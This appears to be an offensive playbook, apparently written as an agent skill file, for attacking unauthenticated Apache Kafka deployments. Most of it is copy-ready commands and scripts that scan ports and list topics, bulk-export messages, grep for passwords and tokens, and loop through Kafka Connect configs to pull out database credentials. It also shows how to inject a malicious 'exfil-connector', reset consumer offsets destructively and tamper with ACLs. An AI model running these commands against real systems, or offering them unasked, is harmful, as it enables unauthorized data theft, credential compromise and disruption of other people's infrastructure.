kafka-attack

Apache Kafka Unauthorized Access and Exploitation

Kafka has no authentication by default. Exposure of any of Broker (9092), ZooKeeper (2181), Schema Registry (8081), or Kafka Connect (8083) may lead to message theft, credential leakage, or even arbitrary command execution.

In-Depth Reference (Required Reading)

• Complete exploitation commands and payloads → read references/attack-techniques.md

---

Phase 1: Service Discovery and Version Identification

1.1 Port Scanning

# Kafka Broker 默认端口
nmap -sV -p 9092 TARGET

# ZooKeeper 默认端口
nmap -sV -p 2181 TARGET

Schema Registry / Kafka Connect

nmap -sV -p 8081,8083 TARGET

Comprehensive scanning of Kafka ecosystem ports

nmap -sV -p 2181,9092,9093,8081,8082,8083 TARGET

### 1.2 Broker 连通性测试

```bash
# 获取 Broker API 版本（无认证即可返回）
kafka-broker-api-versions.sh --bootstrap-server TARGET:9092

# kcat 探测（轻量替代）
kcat -b TARGET:9092 -L

Key Judgment：

• Returns API version list → no authentication, proceed directly to Phase 3
• Connection timeout / refused → port unreachable or network isolated
• Returns authentication error → SASL configured, credentials required

---

Phase 2: Unauthorized Detection

2.1 Topic List Test

# 最快速的未授权验证——能列出 Topic 即为无认证
kafka-topics.sh --list --bootstrap-server TARGET:9092

# kcat 替代
kcat -b TARGET:9092 -L | grep "topic"

2.2 ZooKeeper Unauthorized Test

# 四字命令测试（无认证 ZooKeeper）
echo ruok | nc TARGET 2181
# 返回 imok 即为未授权

echo dump | nc TARGET 2181
echo envi | nc TARGET 2181

Key Judgment：

• Topic list returns successfully → Broker has no authentication, proceed to Phase 3
• ZooKeeper returns imok → ZooKeeper has no authentication, cluster metadata can be obtained via ZK
• Both fail → authentication may be enabled, consider other entry points (Schema Registry / Kafka Connect)

---

Phase 3: Attack Decision Tree

Broker 无认证？
├─ 是 → Topic 枚举 + 消息批量导出 (Phase 4)
│   ├─ 有 Consumer Group 权限 → Offset 重置 + 消息重放
│   ├─ 有 Broker 配置读取权限 → 配置窃取（含敏感凭据）
│   └─ 有 ACL 管理权限 → ACL 篡改（提权 / 持久化）
├─ Schema Registry 暴露 (8081) → Schema 窃取（数据结构泄露）
├─ Kafka Connect 暴露 (8083)
│   ├─ 可读 Connector 配置 → 凭据窃取（数据库密码等）
│   └─ 可创建 Connector → 恶意 Connector 注入（数据外泄 / 文件写入）
└─ ZooKeeper 暴露 (2181) → 集群元数据 + Broker 配置

Preliminary Information Gathering

# 集群信息概览（在线 broker）
kcat -b TARGET:9092 -L

# KRaft metadata snapshot 离线分析（需要已获取 snapshot 文件）
kafka-metadata-shell.sh --snapshot /path/to/__cluster_metadata-0/00000000000000000000.log

# Broker 配置（可能含敏感信息）
kafka-configs.sh --bootstrap-server TARGET:9092 \
  --entity-type brokers --describe --all

# ACL 列表
kafka-acls.sh --bootstrap-server TARGET:9092 --list

# Consumer Group 列表
kafka-consumer-groups.sh --bootstrap-server TARGET:9092 --list

---

Phase 4: Message Theft Quick Reference

4.1 Topic Enumeration

# 列出全部 Topic
kafka-topics.sh --list --bootstrap-server TARGET:9092

# Topic 详情（分区数、副本、ISR）
kafka-topics.sh --describe --bootstrap-server TARGET:9092

# 搜索敏感 Topic 名称
kafka-topics.sh --list --bootstrap-server TARGET:9092 | \
  grep -iE "password|secret|credential|auth|token|user|order|payment|log"

4.2 Single Topic Message Export

# 从头消费指定 Topic（限制条数避免过载）
kafka-console-consumer.sh \
  --bootstrap-server TARGET:9092 \
  --topic TOPIC_NAME \
  --from-beginning \
  --max-messages 1000 > /tmp/kafka_topic_dump.txt

# 从特定 Offset 消费
kafka-console-consumer.sh \
  --bootstrap-server TARGET:9092 \
  --topic TOPIC_NAME \
  --partition 0 \
  --offset 100 \
  --max-messages 500

4.3 Batch Export All Topics

for topic in $(kafka-topics.sh --list --bootstrap-server TARGET:9092); do
  echo "=== Exporting: $topic ==="
  kafka-console-consumer.sh \
    --bootstrap-server TARGET:9092 \
    --topic "$topic" \
    --from-beginning \
    --max-messages 10000 > "/tmp/kafka_${topic}.txt" 2>/dev/null
done

4.4 Consumer Group Operations

# 列出所有 Consumer Group
kafka-consumer-groups.sh --bootstrap-server TARGET:9092 --list

# 查看 Group 详情（当前 offset、lag）
kafka-consumer-groups.sh --bootstrap-server TARGET:9092 \
  --group GROUP_NAME --describe

# 重置 Offset 到最早（重新消费全部消息）
kafka-consumer-groups.sh --bootstrap-server TARGET:9092 \
  --group GROUP_NAME \
  --topic TOPIC_NAME \
  --reset-offsets --to-earliest \
  --execute

→ Complete message theft and Consumer Group exploitation commands → read references/attack-techniques.md

---

Phase 5: Kafka Connect Exploitation Quick Reference

5.1 Connector Enumeration and Credential Theft

# 列出已安装插件
curl -s http://TARGET:8083/connector-plugins | jq .

# 列出所有 Connector
curl -s http://TARGET:8083/connectors | jq .

# 获取 Connector 配置（高概率含数据库凭据）
curl -s http://TARGET:8083/connectors/CONNECTOR_NAME/config | jq .

# 批量提取敏感配置字段
for conn in $(curl -s http://TARGET:8083/connectors | jq -r '.[]'); do
  echo "=== $conn ==="
  curl -s "http://TARGET:8083/connectors/$conn/config" | \
    jq 'to_entries[] | select(.key | test("password|secret|token|credential|connection.url"; "i"))'
done

5.2 Malicious Connector Injection

# 利用 FileStreamSinkConnector 将 Topic 数据写入目标文件系统
curl -X POST http://TARGET:8083/connectors \
  -H "Content-Type: application/json" -d '{
    "name": "exfil-connector",
    "config": {
      "connector.class": "FileStreamSinkConnector",
      "tasks.max": "1",
      "file": "/tmp/exfiltrated-data.txt",
      "topics": "sensitive-topic"
    }
  }'

→ Complete Kafka Connect exploitation techniques → read references/attack-techniques.md

---

Phase 6: Schema Registry and ZooKeeper Exploitation Quick Reference

6.1 Schema Registry

# 获取所有 Subject
curl -s http://TARGET:8081/subjects | jq .

# 获取 Schema 详情（含字段定义，可能暴露敏感数据结构）
curl -s http://TARGET:8081/subjects/TOPIC_NAME-value/versions/latest | jq .

# 搜索敏感字段定义
curl -s http://TARGET:8081/subjects/TOPIC_NAME-value/versions/latest | \
  jq -r '.schema' | grep -iE "password|secret|token|ssn|credit"

6.2 ZooKeeper Exploitation

# zkCli.sh 连接
zkCli.sh -server TARGET:2181

# 枚举 Kafka 节点（获取 Broker 列表、Topic 元数据）
# 在 zkCli.sh 中:
ls /brokers/ids
get /brokers/ids/0
ls /brokers/topics
get /config/brokers/0

---

Tool Quick Reference

Tool	Purpose
kafka-topics.sh	Topic enumeration and management
kafka-console-consumer.sh	Message consumption and export
kafka-console-producer.sh	Message production and injection
kafka-consumer-groups.sh	Consumer Group management and Offset reset
kafka-configs.sh	Broker/Topic configuration reading
kafka-acls.sh	ACL listing and manipulation
kafka-broker-api-versions.sh	Broker version detection
kcat (kafkacat)	Lightweight Kafka client, enumerate/consume/produce
zkCli.sh	ZooKeeper client
curl / jq	Schema Registry and Kafka Connect REST API

---

Precautions

• --from-beginning will pull all historical messages of a Topic; large Topics may generate GB-level data, be sure to use --max-messages limit
• Consumer Group Offset reset is a destructive operation and will cause business Consumers to re-consume
• Creating/deleting a Connector in Kafka Connect directly affects the data pipeline; assess business impact before operating
• Schema Registry has no authentication by default; modifying the Schema may cause deserialization failures on the consumer side
• ZooKeeper four-letter commands are disabled by default in new versions (requires 4lw.commands.whitelist configuration)
• Message injection (Producer) may trigger downstream business logic exceptions, operate with caution
• When exporting topics in batches, pay attention to disk space; it is recommended to first use kafka-topics.sh --describe to check the message volume